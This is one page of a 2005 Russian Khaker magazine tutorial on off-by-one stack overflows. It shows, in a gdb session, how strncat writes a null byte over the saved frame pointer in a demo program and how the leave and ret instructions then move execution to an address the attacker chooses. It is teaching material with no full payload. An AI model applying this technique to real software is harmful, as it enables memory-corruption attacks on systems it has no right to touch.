Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #83, НОЯБРЬ 2005 г.

Суровый байт-одиночка

1dt.w0lf

Хакер, номер #083, стр. 083-064-2


[работаем в gdb]

Процесс перезаписи байта можно наблюдать в отладчике:

$ gdb one_byte_over

# ставим бряк на вызов функции strncat

(gdb) b strncat

(gdb) r CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCC AAAA

Breakpoint 2, 0x280d2845 in strncat () from /lib/libc.so.5

# останавливаемся на вызове strncat

(gdb) x/4 0xbfbfeb00

0xbfbfeb00: 0x00000282 0x00000000 0xbfbfeba8 0x080485f8

Здесь 0x080485f8 - это адрес возврата функции, 0x00000000 - место, выделенное для хранения строки, 0xbfbfeba8 - EBP, сохраненный в стеке.

(gdb) n

0x0804861f in cat4 ()

(gdb) x/4 0xbfbfeb00

0xbfbfeb00: 0x00000282 0x41414141 0xbfbfeb00 0x080485f8

0x080485f8 - адрес возврата из функции (пока он нам неинтересен), 0x41414141 - наша строка, 0xbfbfeb00 - а здесь отчетливо виден символ NULL, который перезаписал часть адреса, сохраненного в стеке.

Итак, один байт в сохраненном указателе кадра стека был благополучно нами перезаписан на 00. Теперь самое время разобраться, что происходит при выходе из функции. При выходе из функции происходит выполнение двух инструкций:

0x08048622 <cat4+34>: leave

0x08048623 <cat4+35>: ret

[инструкция leave]

Инструкция leave эквивалентна последовательности

mov %ebp,%esp

pop ebp

Leave копирует регистр ebp в esp, после чего в регистр ebp значение извлекается из стека. Таким образом, стек после вызова leave должен возвращаться в такое же состояние, как и до пролога функции. Так как в регистр EBP значение извлекается из вершины стека, то есть восстанавливается из сохраненного указателя кадра стека, который мы уже изменили путем перезаписи одного байта, то и значение ebp будет изменено по отношению к ebp, который был при входе в функцию.

Далее инструкция ret помещает значение с вершины стека в регистр eip и продолжает выполнение программы. В отладчике можно увидеть, как при выходе из функции cat4 восстанавливается из стека значение ebp:

(gdb) n

0x080485f8 in main ()

(gdb) i r

ebp 0xbfbfeb00 0xbfbfeb00

Итак, как видно, измененный нами адрес благополучно попадает в регистр ebp.

Таким образом, функция main с нашей легкой руки будет работать с измененным указателем. Далее наша многострадальная функция main также завершает свою работу и действует по такому же принципу, то есть leave и ret.

Но так как при возврате в функцию main мы уже изменили значение ebp, то и работа со стеком в этой функции будет идти в соответствии с измененным значением и данные из стека будут читаться не по тому адресу, по которому предполагалось.

Смотрим, что находится по адресу, в котором мы изменили регистр ebp:

(gdb) x/4 0xbfbfeb00

0xbfbfeb00: 0x00000282 0x41414141 0xbfbfeb00 0x080485f8

Значит, при выходе функция прочитает 0x00000282 в ebp при выполнении leave.

После чего прочитает 0x41414141 в eip при выполнении ret и потом попытается прыгнуть на 0х41414141. Проверим это:

Назад на стр. 083-064-1  Содержание  Вперед на стр. 083-064-3